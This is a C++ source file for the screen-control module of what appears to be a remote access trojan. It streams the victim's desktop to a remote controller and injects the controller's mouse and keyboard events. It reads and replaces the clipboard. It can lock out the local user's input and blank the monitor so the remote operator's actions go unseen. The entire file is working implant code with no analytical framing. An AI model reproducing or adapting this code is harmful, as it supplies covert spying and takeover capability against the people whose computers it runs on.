404 lines
12 KiB
C++
404 lines
12 KiB
C++
// ScreenManager.cpp: implementation of the CScreenManager class.
|
||
//
|
||
//////////////////////////////////////////////////////////////////////
|
||
#include "StdAfx.h"
|
||
|
||
#include <stdio.h>
|
||
#include "ScreenManager.h"
|
||
#include "../until.h"
|
||
#include <winable.h> // BlockInput
|
||
|
||
//////////////////////////////////////////////////////////////////////
|
||
// Construction/Destruction
|
||
//////////////////////////////////////////////////////////////////////
|
||
|
||
CScreenManager::CScreenManager(CClientSocket *pClient):CManager(pClient)
|
||
{
|
||
m_bAlgorithm = ALGORITHM_HOME; // 默认使用家用办公算法
|
||
m_biBitCount = 32; // 3 = 4位灰度, 7 = 8位灰度
|
||
m_pScreenSpy = new CScreenSpy(32, false);
|
||
m_bIsWorking = true;
|
||
m_bIsBlankScreen = false;
|
||
m_bIsBlockInput = false;
|
||
m_bIsCaptureLayer = false;
|
||
m_bIsComposition = GetAeroComposition();
|
||
m_hDeskTopDC = GetDC(NULL);
|
||
|
||
m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);
|
||
m_hCtrlThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)CtrlThread, this, 0, NULL, true);
|
||
// SetThreadPriority(m_hWorkThread, THREAD_PRIORITY_TIME_CRITICAL);
|
||
}
|
||
|
||
CScreenManager::~CScreenManager()
|
||
{
|
||
InterlockedExchange((LPLONG)&m_bIsBlankScreen, FALSE);
|
||
InterlockedExchange((LPLONG)&m_bIsWorking, FALSE);
|
||
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||
WaitForSingleObject(m_hCtrlThread, INFINITE);
|
||
CloseHandle(m_hWorkThread);
|
||
CloseHandle(m_hCtrlThread);
|
||
ReleaseDC(NULL, m_hDeskTopDC);
|
||
SetAeroComposition(m_bIsComposition);
|
||
BlockInput(FALSE); // 恢复键盘和鼠标
|
||
|
||
if (m_pScreenSpy)
|
||
delete m_pScreenSpy;
|
||
m_pScreenSpy = NULL;
|
||
}
|
||
|
||
void CScreenManager::ResetScreen(int biBitCount)
|
||
{
|
||
InterlockedExchange((LPLONG)&m_bIsWorking, FALSE);
|
||
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||
CloseHandle(m_hWorkThread);
|
||
|
||
delete m_pScreenSpy;
|
||
m_pScreenSpy = NULL;
|
||
|
||
if (biBitCount == 3) // 4位灰度
|
||
m_pScreenSpy = new CScreenSpy(4, true);
|
||
else if (biBitCount == 7) // 8位灰度
|
||
m_pScreenSpy = new CScreenSpy(8, true);
|
||
else
|
||
m_pScreenSpy = new CScreenSpy(biBitCount);
|
||
|
||
m_pScreenSpy->setAlgorithm(m_bAlgorithm);
|
||
m_pScreenSpy->setCaptureLayer(m_bIsCaptureLayer);
|
||
|
||
m_biBitCount = biBitCount;
|
||
|
||
InterlockedExchange((LPLONG)&m_bIsWorking, TRUE);
|
||
m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);
|
||
}
|
||
|
||
BOOL CScreenManager::GetAeroComposition()
|
||
{
|
||
extern FARPROC MyGetProcAddressA(LPCSTR lpFileName, LPCSTR lpProcName);
|
||
typedef HRESULT (WINAPI *DwmIsCompositionEnabledT)(BOOL *pfEnabled);
|
||
|
||
BOOL bDwmIsCompositionEnabled = FALSE;
|
||
DwmIsCompositionEnabledT pDwmIsCompositionEnabled =
|
||
(DwmIsCompositionEnabledT)MyGetProcAddressA("Dwmapi.dll", "DwmIsCompositionEnabled");
|
||
if (pDwmIsCompositionEnabled != NULL)
|
||
pDwmIsCompositionEnabled(&bDwmIsCompositionEnabled);
|
||
|
||
return bDwmIsCompositionEnabled;
|
||
}
|
||
|
||
void CScreenManager::SetAeroComposition(UINT uCompositionAction)
|
||
{
|
||
extern FARPROC MyGetProcAddressA(LPCSTR lpFileName, LPCSTR lpProcName);
|
||
typedef HRESULT (WINAPI *DwmEnableCompositionT)(UINT uCompositionAction);
|
||
LPSTR lpszUserSid = NULL;
|
||
DwmEnableCompositionT pDwmEnableComposition = (DwmEnableCompositionT)MyGetProcAddressA("Dwmapi.dll", "DwmEnableComposition");
|
||
if (pDwmEnableComposition == NULL)
|
||
return;
|
||
HKEY hKey; char szSubKey[1024]; DWORD dwData = uCompositionAction ? 0 : 1;
|
||
if (lpszUserSid != NULL)
|
||
sprintf(szSubKey, "%s\\%s", lpszUserSid, "Software\\Microsoft\\Windows\\DWM");
|
||
else
|
||
sprintf(szSubKey, "%s", "Software\\Microsoft\\Windows\\DWM");
|
||
if (RegOpenKeyEx(lpszUserSid?HKEY_USERS:HKEY_CURRENT_USER, szSubKey, 0, KEY_SET_VALUE, &hKey) != ERROR_SUCCESS)
|
||
return;
|
||
if (RegSetValueEx(hKey, "SuppressDisableCompositionUI", 0, REG_DWORD, (LPBYTE)&dwData, sizeof(dwData)) != ERROR_SUCCESS)
|
||
{
|
||
RegCloseKey(hKey);
|
||
return;
|
||
}
|
||
RegCloseKey(hKey);
|
||
pDwmEnableComposition(uCompositionAction);
|
||
}
|
||
|
||
void CScreenManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
|
||
{
|
||
switch (lpBuffer[0])
|
||
{
|
||
case COMMAND_NEXT:
|
||
// 通知内核远程控制端对话框已打开,WaitForDialogOpen可以返回
|
||
NotifyDialogIsOpen();
|
||
break;
|
||
case COMMAND_AERO_DISABLE:
|
||
SetAeroComposition(FALSE);
|
||
break;
|
||
case COMMAND_AERO_ENABLE:
|
||
SetAeroComposition(TRUE);
|
||
break;
|
||
case COMMAND_SCREEN_RESET:
|
||
ResetScreen(*(LPBYTE)&lpBuffer[1]);
|
||
break;
|
||
case COMMAND_ALGORITHM_RESET:
|
||
m_bAlgorithm = *(LPBYTE)&lpBuffer[1];
|
||
m_pScreenSpy->setAlgorithm(m_bAlgorithm);
|
||
break;
|
||
case COMMAND_SCREEN_CTRL_ALT_DEL:
|
||
::SimulateCtrlAltDel();
|
||
break;
|
||
case COMMAND_SCREEN_CONTROL:
|
||
if (m_bIsBlockInput)
|
||
BlockInput(FALSE); // 远程仍然可以操作
|
||
ProcessCommand(lpBuffer + 1, nSize - 1);
|
||
if (m_bIsBlockInput)
|
||
BlockInput(m_bIsBlockInput);
|
||
break;
|
||
case COMMAND_SCREEN_BLOCK_INPUT: // CtrlThread里锁定
|
||
InterlockedExchange((LPLONG)&m_bIsBlockInput, *(LPBYTE)&lpBuffer[1]);
|
||
BlockInput(m_bIsBlockInput);
|
||
break;
|
||
case COMMAND_SCREEN_BLANK:
|
||
InterlockedExchange((LPLONG)&m_bIsBlankScreen, *(LPBYTE)&lpBuffer[1]);
|
||
break;
|
||
case COMMAND_SCREEN_CAPTURE_LAYER:
|
||
InterlockedExchange((LPLONG)&m_bIsCaptureLayer, *(LPBYTE)&lpBuffer[1]);
|
||
m_pScreenSpy->setCaptureLayer(m_bIsCaptureLayer);
|
||
break;
|
||
case COMMAND_SCREEN_GET_CLIPBOARD:
|
||
SendLocalClipboard();
|
||
break;
|
||
case COMMAND_SCREEN_SET_CLIPBOARD:
|
||
UpdateLocalClipboard((char *)lpBuffer + 1, nSize - 1);
|
||
break;
|
||
default:
|
||
break;
|
||
}
|
||
}
|
||
|
||
void CScreenManager::sendBitmapInfo()
|
||
{
|
||
DWORD dwBytesLength = 1 + m_pScreenSpy->getBitmapInfoSize();
|
||
LPBYTE lpBuffer = (LPBYTE)VirtualAlloc(NULL, dwBytesLength, MEM_COMMIT, PAGE_READWRITE);
|
||
lpBuffer[0] = TOKEN_BITMAPINFO;
|
||
memcpy(lpBuffer + 1, m_pScreenSpy->getBitmapInfo(), dwBytesLength - 1);
|
||
Send(lpBuffer, dwBytesLength);
|
||
VirtualFree(lpBuffer, 0, MEM_RELEASE);
|
||
}
|
||
|
||
void CScreenManager::sendFirstScreen()
|
||
{
|
||
LPVOID lpFirstScreen = NULL;
|
||
DWORD dwBytes;
|
||
lpFirstScreen = m_pScreenSpy->getFirstScreen(&dwBytes);
|
||
if (dwBytes == 0 || !lpFirstScreen)
|
||
return;
|
||
|
||
DWORD dwBytesLength = 1 + dwBytes;
|
||
LPBYTE lpBuffer = new BYTE[dwBytesLength];
|
||
if (lpBuffer == NULL)
|
||
return;
|
||
|
||
lpBuffer[0] = TOKEN_FIRSTSCREEN;
|
||
memcpy(lpBuffer + 1, lpFirstScreen, dwBytes);
|
||
|
||
Send(lpBuffer, dwBytesLength);
|
||
delete [] lpBuffer;
|
||
}
|
||
|
||
void CScreenManager::sendNextScreen()
|
||
{
|
||
LPVOID lpNextScreen = NULL;
|
||
DWORD dwBytes;
|
||
lpNextScreen = m_pScreenSpy->getNextScreen(&dwBytes);
|
||
if (dwBytes == 0 || !lpNextScreen)
|
||
return;
|
||
|
||
DWORD dwBytesLength = 1 + dwBytes;
|
||
LPBYTE lpBuffer = new BYTE[dwBytesLength];
|
||
if (lpBuffer == NULL)
|
||
return;
|
||
|
||
lpBuffer[0] = TOKEN_NEXTSCREEN;
|
||
memcpy(lpBuffer + 1, lpNextScreen, dwBytes);
|
||
|
||
Send(lpBuffer, dwBytesLength);
|
||
delete [] lpBuffer;
|
||
}
|
||
|
||
DWORD WINAPI CScreenManager::WorkThread(LPVOID lparam)
|
||
{
|
||
CScreenManager *pThis = (CScreenManager *)lparam;
|
||
|
||
pThis->sendBitmapInfo();
|
||
// 等控制端对话框打开
|
||
pThis->WaitForDialogOpen();
|
||
// 发送第一张屏幕图片
|
||
pThis->sendFirstScreen();
|
||
|
||
try // 控制端强制关闭时会出错
|
||
{
|
||
while (pThis->m_bIsWorking)
|
||
{
|
||
pThis->sendNextScreen();
|
||
}
|
||
}
|
||
catch(...){};
|
||
|
||
return 0;
|
||
}
|
||
|
||
// 创建这个线程主要是为了监视分辨率和保持一直黑屏
|
||
DWORD WINAPI CScreenManager::CtrlThread(LPVOID lparam)
|
||
{
|
||
static bool bIsScreenBlanked = false;
|
||
CScreenManager *pThis = (CScreenManager *)lparam;
|
||
pThis->WaitForDialogOpen();
|
||
|
||
while (pThis->IsConnect())
|
||
{
|
||
// 分辨率大小改变了
|
||
if (pThis->IsResolutionChange())
|
||
{
|
||
pThis->ResetScreen(pThis->GetCurrentPixelBits());
|
||
}
|
||
if (pThis->m_bIsBlankScreen)
|
||
{
|
||
SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 1, NULL, 0);
|
||
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2);
|
||
bIsScreenBlanked = true;
|
||
}
|
||
else if (bIsScreenBlanked)
|
||
{
|
||
SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 0, NULL, 0);
|
||
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)-1);
|
||
bIsScreenBlanked = false;
|
||
}
|
||
Sleep(200);
|
||
}
|
||
return 0;
|
||
}
|
||
|
||
|
||
|
||
|
||
void CScreenManager::ProcessCommand(LPBYTE lpBuffer, UINT nSize)
|
||
{
|
||
// 数据包不合法
|
||
if (nSize % sizeof(MSG) != 0)
|
||
return;
|
||
|
||
::SwitchInputDesktop();
|
||
|
||
// 命令个数
|
||
int nCount = nSize / sizeof(MSG);
|
||
|
||
// 处理多个命令
|
||
for (int i = 0; i < nCount; i++)
|
||
{
|
||
MSG *pMsg = (MSG *)(lpBuffer + i * sizeof(MSG));
|
||
|
||
DWORD dx = 65535.0f / (GetDeviceCaps(m_hDeskTopDC, DESKTOPHORZRES) - 1) * pMsg->pt.x;
|
||
DWORD dy = 65535.0f / (GetDeviceCaps(m_hDeskTopDC, DESKTOPVERTRES) - 1) * pMsg->pt.y;
|
||
|
||
switch(pMsg->message)
|
||
{
|
||
case WM_MOUSEMOVE:
|
||
mouse_event(MOUSEEVENTF_ABSOLUTE|MOUSEEVENTF_MOVE, dx, dy, 0, 0);
|
||
break;
|
||
case WM_LBUTTONDOWN:
|
||
mouse_event(MOUSEEVENTF_ABSOLUTE|MOUSEEVENTF_LEFTDOWN, dx, dy, 0, 0);
|
||
break;
|
||
case WM_LBUTTONUP:
|
||
mouse_event(MOUSEEVENTF_ABSOLUTE|MOUSEEVENTF_LEFTUP, dx, dy, 0, 0);
|
||
break;
|
||
case WM_RBUTTONDOWN:
|
||
mouse_event(MOUSEEVENTF_ABSOLUTE|MOUSEEVENTF_RIGHTDOWN, dx, dy, 0, 0);
|
||
break;
|
||
case WM_RBUTTONUP:
|
||
mouse_event(MOUSEEVENTF_ABSOLUTE|MOUSEEVENTF_RIGHTUP, dx, dy, 0, 0);
|
||
break;
|
||
case WM_LBUTTONDBLCLK:
|
||
mouse_event(MOUSEEVENTF_ABSOLUTE|MOUSEEVENTF_LEFTDOWN|MOUSEEVENTF_LEFTUP, dx, dy, 0, 0);
|
||
mouse_event(MOUSEEVENTF_ABSOLUTE|MOUSEEVENTF_LEFTDOWN|MOUSEEVENTF_LEFTUP, dx, dy, 0, 0);
|
||
break;
|
||
case WM_RBUTTONDBLCLK:
|
||
mouse_event(MOUSEEVENTF_ABSOLUTE|MOUSEEVENTF_RIGHTDOWN|MOUSEEVENTF_RIGHTUP, dx, dy, 0, 0);
|
||
mouse_event(MOUSEEVENTF_ABSOLUTE|MOUSEEVENTF_RIGHTDOWN|MOUSEEVENTF_RIGHTUP, dx, dy, 0, 0);
|
||
break;
|
||
case WM_MBUTTONDOWN:
|
||
mouse_event(MOUSEEVENTF_ABSOLUTE|MOUSEEVENTF_MIDDLEDOWN, dx, dy, 0, 0);
|
||
break;
|
||
case WM_MBUTTONUP:
|
||
mouse_event(MOUSEEVENTF_ABSOLUTE|MOUSEEVENTF_MIDDLEUP, dx, dy, 0, 0);
|
||
break;
|
||
case WM_MBUTTONDBLCLK:
|
||
mouse_event(MOUSEEVENTF_ABSOLUTE|MOUSEEVENTF_MIDDLEDOWN|MOUSEEVENTF_MIDDLEUP, dx, dy, 0, 0);
|
||
mouse_event(MOUSEEVENTF_ABSOLUTE|MOUSEEVENTF_MIDDLEDOWN|MOUSEEVENTF_MIDDLEUP, dx, dy, 0, 0);
|
||
break;
|
||
case WM_MOUSEWHEEL:
|
||
mouse_event(MOUSEEVENTF_ABSOLUTE|MOUSEEVENTF_WHEEL, dx, dy, GET_WHEEL_DELTA_WPARAM(pMsg->wParam), 0);
|
||
break;
|
||
case WM_KEYDOWN:
|
||
case WM_SYSKEYDOWN:
|
||
if (pMsg->wParam == VK_LEFT || pMsg->wParam == VK_RIGHT || pMsg->wParam == VK_UP || pMsg->wParam == VK_DOWN)
|
||
keybd_event(pMsg->wParam, MapVirtualKey(pMsg->wParam, 0), KEYEVENTF_EXTENDEDKEY, 0);
|
||
else
|
||
keybd_event(pMsg->wParam, MapVirtualKey(pMsg->wParam, 0), 0, 0);
|
||
break;
|
||
case WM_KEYUP:
|
||
case WM_SYSKEYUP:
|
||
if (pMsg->wParam == VK_LEFT || pMsg->wParam == VK_RIGHT || pMsg->wParam == VK_UP || pMsg->wParam == VK_DOWN)
|
||
keybd_event(pMsg->wParam, MapVirtualKey(pMsg->wParam, 0), KEYEVENTF_EXTENDEDKEY|KEYEVENTF_KEYUP, 0);
|
||
else
|
||
keybd_event(pMsg->wParam, MapVirtualKey(pMsg->wParam, 0), KEYEVENTF_KEYUP, 0);
|
||
break;
|
||
default:
|
||
break;
|
||
}
|
||
}
|
||
}
|
||
|
||
void CScreenManager::UpdateLocalClipboard(char *buf, int len)
|
||
{
|
||
if (!::OpenClipboard(NULL))
|
||
return;
|
||
|
||
::EmptyClipboard();
|
||
HGLOBAL hglbCopy = GlobalAlloc(GMEM_DDESHARE, len);
|
||
if (hglbCopy != NULL) {
|
||
// Lock the handle and copy the text to the buffer.
|
||
LPTSTR lptstrCopy = (LPTSTR) GlobalLock(hglbCopy);
|
||
memcpy(lptstrCopy, buf, len);
|
||
GlobalUnlock(hglbCopy); // Place the handle on the clipboard.
|
||
SetClipboardData(CF_TEXT, hglbCopy);
|
||
GlobalFree(hglbCopy);
|
||
}
|
||
CloseClipboard();
|
||
}
|
||
|
||
void CScreenManager::SendLocalClipboard()
|
||
{
|
||
if (!::OpenClipboard(NULL))
|
||
return;
|
||
HGLOBAL hglb = GetClipboardData(CF_TEXT);
|
||
if (hglb == NULL)
|
||
{
|
||
::CloseClipboard();
|
||
return;
|
||
}
|
||
int nPacketLen = GlobalSize(hglb) + 1;
|
||
LPSTR lpstr = (LPSTR) GlobalLock(hglb);
|
||
LPBYTE lpData = new BYTE[nPacketLen];
|
||
lpData[0] = TOKEN_CLIPBOARD_TEXT;
|
||
memcpy(lpData + 1, lpstr, nPacketLen - 1);
|
||
::GlobalUnlock(hglb);
|
||
::CloseClipboard();
|
||
Send(lpData, nPacketLen);
|
||
delete[] lpData;
|
||
}
|
||
|
||
// 屏幕分辨率是否发生改变
|
||
bool CScreenManager::IsResolutionChange()
|
||
{
|
||
if (!m_bIsWorking || m_pScreenSpy == NULL)
|
||
return false;
|
||
|
||
LPBITMAPINFO lpbmi = m_pScreenSpy->getBitmapInfo();
|
||
bool bIsHorizontalChange = lpbmi->bmiHeader.biWidth != GetDeviceCaps(m_hDeskTopDC, DESKTOPHORZRES);
|
||
bool bIsVerticalChange = lpbmi->bmiHeader.biHeight != GetDeviceCaps(m_hDeskTopDC, DESKTOPVERTRES);
|
||
|
||
return (bIsHorizontalChange || bIsVerticalChange);
|
||
}
|
||
|
||
int CScreenManager::GetCurrentPixelBits()
|
||
{
|
||
return m_biBitCount;
|
||
}
|